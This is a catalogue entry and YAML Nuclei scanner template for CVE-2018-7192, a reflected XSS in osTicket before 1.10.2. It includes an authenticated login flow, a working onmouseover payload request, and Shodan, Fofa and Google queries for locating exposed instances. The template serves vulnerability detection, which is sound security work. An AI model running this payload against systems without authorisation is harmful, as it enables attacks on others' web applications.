CVE-2018-7192: osTicket < 1.10.2 - Cross-Site Scripting
- Template: CVE-2018-7192
- Name: osTicket < 1.10.2 - Cross-Site Scripting
- Description: Cross-site scripting (XSS) vulnerability in /ajax.php/form/help-topic in Enhancesoft osTicket before 1.10.2 allows remote attackers to inject arbitrary web script or HTML via the "message" parameter.
- Impact: Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
- Remediation: Upgrade osTicket to later version to mitigate this vulnerability.
- Severity: medium
- Authors: ritikchaddha
- Tags: cve, cve2018, osticket, xss, authenticated, vuln
- References: https://blog.securityevaluators.com/vulnerabilities-found-in-popular-ticketing-system-dd273bda229c, https://nvd.nist.gov/vuln/detail/CVE-2018-7192
- Cves: CVE-2018-7192
- Max requests: 3
- Directory: http/cves
- Path: http/cves/2018/CVE-2018-7192.yaml
- Digest: 4a0a0047304502201cc191f1cbecf84e0e14b739189be012fac45996d15289093a6c5639a49b9acc022100e89c7a41f87085bdc23f85cc2368a0e0f865b4ea7704643e431dd2908eea7050
- Created at: 2024-10-15T09:17:00Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 770
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2018/CVE-2018-7192.yaml
- Checked, none or zero: verified
Classification
- Cwe: CWE-79
- Cvss score: 6.1
- Cvss vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Epss score: 0.0202
- Epss percentile: 0.81451
- Cpe: cpe:2.3:a:osticket:osticket:*:*:*:*:*:*:*:*
Metadata
- Fofa-query: title="osticket"
- Google-query: intitle:"osticket"
- Max-request: 3
- Product: osticket
- Shodan-query: title:"osTicket"
- Vendor: osticket
Products
| Product | Indexed | Url |
|---|---|---|
| osticket:osticket | yes | /v1/products/osticket/osticket |
Labels
- Name: Enhancesoft osTicket - Reflected XSS
- Impact: Attackers can execute arbitrary scripts in the victim's browser, leading to session hijacking or defacement.
- Remediation: Update to version 1.10.2 or later.
- Vulnerability type: reflected_xss
- Vulnerability impact: client_script_exec
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2018-7192
- Not known: requirements
```yaml
id: CVE-2018-7192
info:
name: osTicket < 1.10.2 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
Cross-site scripting (XSS) vulnerability in /ajax.php/form/help-topic in Enhancesoft osTicket before 1.10.2 allows remote attackers to inject arbitrary web script or HTML via the "message" parameter.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
remediation: |
Upgrade osTicket to later version to mitigate this vulnerability.
reference:
- https://blog.securityevaluators.com/vulnerabilities-found-in-popular-ticketing-system-dd273bda229c
- https://nvd.nist.gov/vuln/detail/CVE-2018-7192
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2018-7192
cwe-id: CWE-79
epss-score: 0.0202
epss-percentile: 0.81451
cpe: cpe:2.3:a:osticket:osticket:*:*:*:*:*:*:*:*
metadata:
max-request: 3
vendor: osticket
product: osticket
shodan-query: title:"osTicket"
fofa-query: title="osticket"
google-query: intitle:"osticket"
tags: cve,cve2018,osticket,xss,authenticated,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET /scp/login.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(tolower(body), "osticket")'
internal: true
extractors:
- type: regex
name: csrftoken
part: body
group: 1
regex:
- '__CSRFToken__" value="(.*?)"'
internal: true
- raw:
- |
POST /scp/login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
__CSRFToken__={{csrftoken}}&do=scplogin&userid={{username}}&passwd={{password}}&ajax=1
- |
GET /ajax.php/form/help-topic/1?a934f512c6644b03=&message=dgh7r%20onmouseover%3dalert(document.domain)%20style%3dposition%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b%20qavj5 HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body, "dgh7r onmouseover=alert(document.domain) style=position:")'
- 'contains(header, "text/html")'
- 'status_code == 200'
condition: and
digest: 4a0a0047304502201cc191f1cbecf84e0e14b739189be012fac45996d15289093a6c5639a49b9acc022100e89c7a41f87085bdc23f85cc2368a0e0f865b4ea7704643e431dd2908eea7050:922c64590222798bb761d5b6d8e72950
```